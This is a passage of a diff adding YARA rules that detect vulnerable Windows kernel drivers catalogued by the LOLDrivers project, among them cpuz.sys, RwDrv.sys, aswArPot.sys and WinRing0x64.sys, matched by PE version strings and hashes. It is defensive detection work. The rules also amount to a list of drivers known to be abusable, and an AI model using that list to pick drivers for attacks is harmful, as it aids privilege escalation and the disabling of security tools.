+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 } /* OriginalFilename AMDRyzenMasterDriversys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020003200300031003700200041004d0044002c00200049006e0063002e } /* LegalCopyright CopyrightAMDInc */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_2594 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "2594b3ef3675ca3a7b465b8ed4962e3251364bab13b12af00ebba7fa2211abb2"
+		date = "2023-06-14"
+		score = 40
+		id = "3d265316-2b94-581a-b44a-fe015d316eff"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 } /* FileDescription AVGantirootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* CompanyName AVGTechnologiesCZsro */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0033002e0033003800360030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0033002e0033003800360030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* InternalName aswArPotsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 } /* ProductName AVGInternetSecuritySystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310038002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* LegalCopyright CopyrightCAVGTechnologiesCZsro */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Cpuid_Cpuzsys_Cpuidservice_6BEF {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - cpuz.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "6befa481e8cca8084d9ec3a1925782cd3c28ef7a3e4384e034d48deaabb96b63"
+		hash = "8cf0cbbdc43f9b977f0fb79e0a0dd0e1adabe08a67d0f40d727c717c747de775"
+		hash = "2101d5e80e92c55ecfd8c24fcf2202a206a4fd70195a1378f88c4cc04d336f22"
+		hash = "45c3d607cb57a1714c1c604a25cbadf2779f4734855d0e43aa394073b6966b26"
+		hash = "600a2119657973112025db3c0eeab2e69d528bccfeed75f40c6ef50b059ec8a0"
+		hash = "deecbcd260849178de421d8e2f177dce5c63cf67a48abb23a0e3cf3aa3e00578"
+		hash = "955dac77a0148e9f9ed744f5d341cb9c9118261e52fe622ac6213965f2bc4cad"
+		date = "2023-06-14"
+		score = 40
+		id = "957addda-818b-504f-98b4-63fdfed768b4"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004300500055004900440020004400720069007600650072 } /* FileDescription CPUIDDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00430050005500490044 } /* CompanyName CPUID */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e003100360033003800350020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e00310036003300380035 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006300700075007a002e007300790073 } /* InternalName cpuzsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043005000550049004400200073006500720076006900630065 } /* ProductName CPUIDservice */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006300700075007a002e007300790073 } /* OriginalFilename cpuzsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400280043002900200032003000310034002000430050005500490044 } /* LegalCopyright CopyrightCCPUID */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Rweverything_Rwdrvsys_Rwdrvdriver_45BA {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - RwDrv.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "45ba688a4bded8a7e78a4f5b0dc21004e951ddceb014bb92f51a3301d2fbc56a"
+		hash = "3279593db91bb7ad5b489a01808c645eafafda6cc9c39f50d10ccc30203f2ddf"
+		hash = "d969845ef6acc8e5d3421a7ce7e244f419989710871313b04148f9b322751e5d"
+		hash = "1e0eb0811a7cf1bdaf29d3d2cab373ca51eb8d8b58889ab7728e2d3aed244abe"
+		hash = "ea0b9eecf4ad5ec8c14aec13de7d661e7615018b1a3c65464bf5eca9bbf6ded3"
+		date = "2023-06-14"
+		score = 40
+		id = "c9279259-59ab-5816-aa59-4d8d53f95793"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005200770044007200760020004400720069007600650072 } /* FileDescription RwDrvDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00520057002d00450076006500720079007400680069006e0067 } /* CompanyName RWEverything */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300030002e00300030002e00300030003000300020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300030002e00300030002e0030003000300030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00520077004400720076002e007300790073 } /* InternalName RwDrvsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005200770044007200760020004400720069007600650072 } /* ProductName RwDrvDriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00520077004400720076002e007300790073 } /* OriginalFilename RwDrvsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310031002000520057002d00450076006500720079007400680069006e0067 } /* LegalCopyright CopyrightCRWEverything */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Windowsrwinddkprovider_Vmdrvsys_Windowsrwinddkdriver_5C0B {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - vmdrv.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "5c0b429e5935814457934fa9c10ac7a88e19068fa1bd152879e4e9b89c103921"
+		hash = "32cccc4f249499061c0afa18f534c825d01034a1f6815f5506bf4c4ff55d1351"
+		hash = "d884ca8cc4ef1826ca3ab03eb3c2d8f356ba25f2d20db0a7d9fc251c565be7f3"
+		date = "2023-06-14"
+		score = 40
+		id = "20989ad0-08b4-5fe0-b4cc-9846bdf4bb89"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0056006f006900630065006d006f00640020005600690072007400750061006c00200041007500640069006f00200044006500760069006300650020002800570044004d0029 } /* FileDescription VoicemodVirtualAudioDeviceWDM */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b002000700072006f00760069006400650072 } /* CompanyName WindowsRWinDDKprovider */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002e0030002e00310030003000310031002e00310036003300380034 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002e0030002e00310030003000310031002e00310036003300380034 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0076006d006400720076002e007300790073 } /* InternalName vmdrvsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b0020006400720069007600650072 } /* ProductName WindowsRWinDDKdriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0076006d006400720076002e007300790073 } /* OriginalFilename vmdrvsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200056006f006900630065006d006f006400200053002e004c002e0032003000310030002d0032003000320030 } /* LegalCopyright CopyrightCVoicemodSL */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Advancedmicrodevices_Amdryzenmasterdriversys_Amdryzenmasterservicedriver_A130 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AMDRyzenMasterDriver.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "a13054f349b7baa8c8a3fcbd31789807a493cc52224bbff5e412eb2bd52a6433"
+		hash = "7e81beae78e1ddbf6c150e15667e1f18783f9b0ab7fbe52c7ab63e754135948d"
+		date = "2023-06-14"
+		score = 40
+		id = "c810bb03-5e0d-501a-af32-66a5f73b410e"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 } /* FileDescription AMDRyzenMasterServiceDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041006400760061006e0063006500640020004d006900630072006f00200044006500760069006300650073 } /* CompanyName AdvancedMicroDevices */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0033002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0033002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 } /* InternalName AMDRyzenMasterDriversys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 } /* ProductName AMDRyzenMasterServiceDriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 } /* OriginalFilename AMDRyzenMasterDriversys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020003200300031003800200041004d0044002c00200049006e0063002e } /* LegalCopyright CopyrightAMDInc */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpot_Avginternetsecuritysystem_5BD4 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "5bd41a29cbba0d24e639f49d1f201b9bd119b11f5e3b8a5fefa3a5c6f1e7692c"
+		date = "2023-06-14"
+		score = 40
+		id = "0cf3d047-c497-5957-b0d3-717220393501"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200041006e0074006900200052006f006f0074006b00690074 } /* FileDescription AVGAntiRootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* CompanyName AVGTechnologiesCZsro */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e0036002e003100300037002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e0036002e003100300037002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 } /* InternalName aswArPot */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 } /* ProductName AVGInternetSecuritySystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000320030002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* LegalCopyright CopyrightCAVGTechnologiesCZsro */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_88E2 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "88e2e6a705d3fb71b966d9fb46dc5a4b015548daf585fb54dfcd81dc0bd3ebdc"
+		hash = "f29073dc99cb52fa890aae80037b48a172138f112474a1aecddae21179c93478"
+		hash = "89b9823ed974a5b71de8468324d45b7e9d6dc914f93615ba86c6209b25b3cbf7"
+		hash = "3503ea284b6819f9cb43b3e94c0bb1bf5945ccb37be6a898387e215197a4792a"
+		hash = "d6827cd3a8f273a66ecc33bb915df6c7dea5cc1b8134b0c348303ef50db33476"
+		hash = "e07211224b02aaf68a5e4b73fc1049376623793509d9581cdaee9e601020af06"
+		hash = "c089a31ac95d41ed02d1e4574962f53376b36a9e60ff87769d221dc7d1a3ecfa"
+		hash = "6e944ae1bfe43a8a7cd2ea65e518a30172ce8f31223bdfd39701b2cb41d8a9e7"
+		hash = "59b09bd69923c0b3de3239e73205b1846a5f69043546d471b259887bb141d879"
+		hash = "e3f2ee22dec15061919583e4beb8abb3b29b283e2bcb46badf2bfde65f5ea8dd"
+		hash = "9d5ebd0f4585ec20a5fe3c5276df13ece5a2645d3d6f70cedcda979bd1248fc2"
+		date = "2023-06-14"
+		score = 40
+		id = "e6f3c13e-0cec-5430-beeb-fc980dd29887"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 } /* FileDescription ProcessExplorer */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d } /* CompanyName Sysinternalswwwsysinternalscom */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310035002e00300030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310035002e00300030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 } /* InternalName procexpsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 } /* ProductName ProcessExplorer */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 } /* OriginalFilename procexpSys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d00610072006b002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000310034 } /* LegalCopyright CopyrightCMarkRussinovich */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Windowsrwinddkprovider_Cpuzsys_Windowsrwinddkdriver_1F4D {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - cpuz.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "1f4d4db4abe26e765a33afb2501ac134d14cadeaa74ae8a0fae420e4ecf58e0c"
+		hash = "c3e150eb7e7292f70299d3054ed429156a4c32b1f7466a706a2b99249022979e"
+		hash = "2a9d481ffdc5c1e2cb50cf078be32be06b21f6e2b38e90e008edfc8c4f2a9c4e"
+		hash = "8688e43d94b41eeca2ed458b8fc0d02f74696a918e375ecd3842d8627e7a8f2b"
+		hash = "592f56b13e7dcaa285da64a0b9a48be7562bd9b0a190208b7c8b7d8de427cf6c"
+		hash = "4d19ee789e101e5a76834fb411aadf8229f08b3ece671343ad57a6576a525036"
+		hash = "60b163776e7b95e0c2280d04476304d0c943b484909131f340e3ce6045a49289"
+		date = "2023-06-14"
+		score = 40
+		id = "145b846a-8721-5a56-aa76-6d7d5dd16562"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004300500055004900440020004400720069007600650072 } /* FileDescription CPUIDDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b002000700072006f00760069006400650072 } /* CompanyName WindowsRWinDDKprovider */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e003100360033003800350020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e00310036003300380035 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006300700075007a002e007300790073 } /* InternalName cpuzsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b0020006400720069007600650072 } /* ProductName WindowsRWinDDKdriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006300700075007a002e007300790073 } /* OriginalFilename cpuzsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a90020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright MicrosoftCorporationAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Novellinc_Novellxtier_B50F {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - libnicm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "b50ffc60eaa4fb7429fdbb67c0aba0c7085f5129564d0a113fec231c5f8ff62e"
+		hash = "b37b3c6877b70289c0f43aeb71349f7344b06063996e6347c3c18d8c5de77f3b"
+		date = "2023-06-14"
+		score = 40
+		id = "fc6032d2-ef08-5fdb-be73-39dd42185b13"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e006f00760065006c006c0020005800540043004f004d0020005300650072007600690063006500730020004400720069007600650072 } /* FileDescription NovellXTCOMServicesDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e006f00760065006c006c002c00200049006e0063002e } /* CompanyName NovellInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e0036002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e0036 } /* ProductVersion  */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e006f00760065006c006c002000580054006900650072 } /* ProductName NovellXTier */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006c00690062006e00690063006d002e007300790073 } /* OriginalFilename libnicmsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000300038002c0020004e006f00760065006c006c002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright CCopyrightNovellIncAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Openlibsysorg_Winringsys_Winring_11BD {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - WinRing0x64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5"
+		hash = "a7b000abbcc344444a9b00cfade7aa22ab92ce0cadec196c30eb1851ae4fa062"
+		date = "2023-06-14"
+		score = 40
+		id = "370f3fc6-6199-5c19-a0b5-8c02fb89f30a"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00570069006e00520069006e00670030 } /* FileDescription WinRing */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004f00700065006e004c00690062005300790073002e006f00720067 } /* CompanyName OpenLibSysorg */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0032002e0030002e0035 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0032002e0030002e0035 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00570069006e00520069006e00670030002e007300790073 } /* InternalName WinRingsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e00520069006e00670030 } /* ProductName WinRing */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00570069006e00520069006e00670030002e007300790073 } /* OriginalFilename WinRingsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300037002d00320030003000380020004f00700065006e004c00690062005300790073002e006f00720067002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCOpenLibSysorgAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Windowswinowsdriverkitsprovider_Hwrwdrvsys_Hardwarereadwritedriver_21CC {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - HwRwDrv.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "21ccdd306b5183c00ecfd0475b3152e7d94b921e858e59b68a03e925d1715f21"
+		date = "2023-06-14"
+		score = 40
+		id = "fa8e9fd9-7d07-5e05-a8d0-3769b9dd9157"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0048006100720064007700610072006500200072006500610064002000260020007700720069007400650020006400720069007600650072 } /* FileDescription Hardwarereadwritedriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f0077007300ae002000770069006e006f007700730020003700200064007200690076006500720020006b006900740073002000700072006f00760069006400650072 } /* CompanyName Windowswinowsdriverkitsprovider */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0035002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0035002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0048007700520077004400720076002e007300790073 } /* InternalName HwRwDrvsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0048006100720064007700610072006500200072006500610064002000260020007700720069007400650020006400720069007600650072 } /* ProductName Hardwarereadwritedriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0048007700520077004400720076002e007300790073 } /* OriginalFilename HwRwDrvsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400a90020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightMicrosoftCorporationAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Avastsoftware_Aswarpot_Avastantivirus_AD8F {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "ad8ffccfde782bc287241152cf24245a8bf21c2530d81c57e17631b3c4adb833"
+		date = "2023-06-14"
+		score = 40
+		id = "25dc4405-52ae-51f9-9afd-49f2a9fcaa08"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200041006e0074006900200052006f006f0074006b00690074 } /* FileDescription AvastAntiRootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 } /* CompanyName AVASTSoftware */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e0036002e003100300037002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e0036002e003100300037002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 } /* InternalName aswArPot */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 } /* ProductName AvastAntivirus */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300032003000200041005600410053005400200053006f006600740077006100720065 } /* LegalCopyright CopyrightcAVASTSoftware */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Msi_Ntiolibsys_Ntiolib_3124 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "3124b0411b8077605db2a9b7909d8240e0d554496600e2706e531c93c931e1b5"
+		date = "2023-06-14"
+		score = 40
+		id = "25893130-a0b5-5c5c-b7d2-e22bf8eec311"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c0069006200200066006f00720020004d00530049004600720065007100750065006e00630079005f00430043 } /* FileDescription NTIOLibforMSIFrequencyCC */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 } /* CompanyName MSI */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 } /* InternalName NTIOLibsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 } /* ProductName NTIOLib */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 } /* OriginalFilename NTIOLibsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300038002d00320030003000390020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCMSIAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Iobit_Monitorsys_Advancedsystemcare_E4A7 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - Monitor_win10_x64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "e4a7da2cf59a4a21fc42b611df1d59cae75051925a7ddf42bf216cc1a026eadb"
+		date = "2023-06-14"
+		score = 40
+		id = "65b75be5-98a2-56ca-bb4a-cfd0c6871c0e"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049004f006200690074002000540065006d007000650072006100740075007200650020004d006f006e00690074006f0072 } /* FileDescription IObitTemperatureMonitor */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049004f006200690074 } /* CompanyName IObit */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0032002e0030002e00310031 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310032002e0030002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004d006f006e00690074006f0072002e007300790073 } /* InternalName Monitorsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041006400760061006e006300650064002000530079007300740065006d0043006100720065 } /* ProductName AdvancedSystemCare */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004d006f006e00690074006f0072002e007300790073 } /* OriginalFilename Monitorsys */
